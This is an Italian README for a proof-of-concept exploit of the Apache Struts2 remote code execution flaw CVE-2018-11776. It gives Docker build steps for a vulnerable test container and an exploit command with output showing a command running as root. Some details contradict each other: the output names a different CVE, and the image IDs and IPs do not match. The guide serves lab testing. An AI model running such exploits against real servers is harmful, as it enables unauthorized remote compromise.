
Proof-of-concept Python per la vulnerabilità di esecuzione remota di codice Apache Struts2 CVE-2018-11776, con container Docker per test su versioni interessate 2.3-2.3.34 e 2.5-2.5.16.
Questo si basa su https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. La creazione del container e le istruzioni non funzionavano come descritto nel README, quindi è stato creato questo fork. L'exploit POC utilizzato è di Rapid7.
Riconoscimenti:
hook-s3c (github.com/hook-s3c), @hook_s3c su Twitter
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
Man Yue Mo di Semmle ha divulgato una vulnerabilità RCE in Struts2, veicolata tramite un payload codificato nel percorso URL di una richiesta.
Le versioni interessate sono 2.3 fino a 2.3.34 e 2.5 fino a 2.5.16.
La configurazione predefinita non è vulnerabile. Questo contenitore, e molti altri, sono vulnerabili.
È preferibile creare un container da un Dockerfile quando puoi vedere cosa viene inserito nella build.
git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts
Trova il nuovo container con
docker images
L'output dovrebbe essere simile a questo, dove puoi ottenere l'ID dell'immagine.
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
Crea e avvia un container con il seguente comando.
docker run -d --name apachestruts -p 8080:8080 d39018c50afe
Assicurati che i firewall di ingresso/uscita consentano la porta specificata in precedenza (8080), ed esegui l'exploit contro il tuo target con il seguente comando.
python struts.py http://192.168.2.188:8080 'id'
Il tuo output dovrebbe essere simile a questo.
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id' [*] CVE: 2017-5638 - Apache Struts2 S2-045 http://13.88.250.188:8080 : [*] cmd: id uid=0(root) gid=0(root) groups=0(root)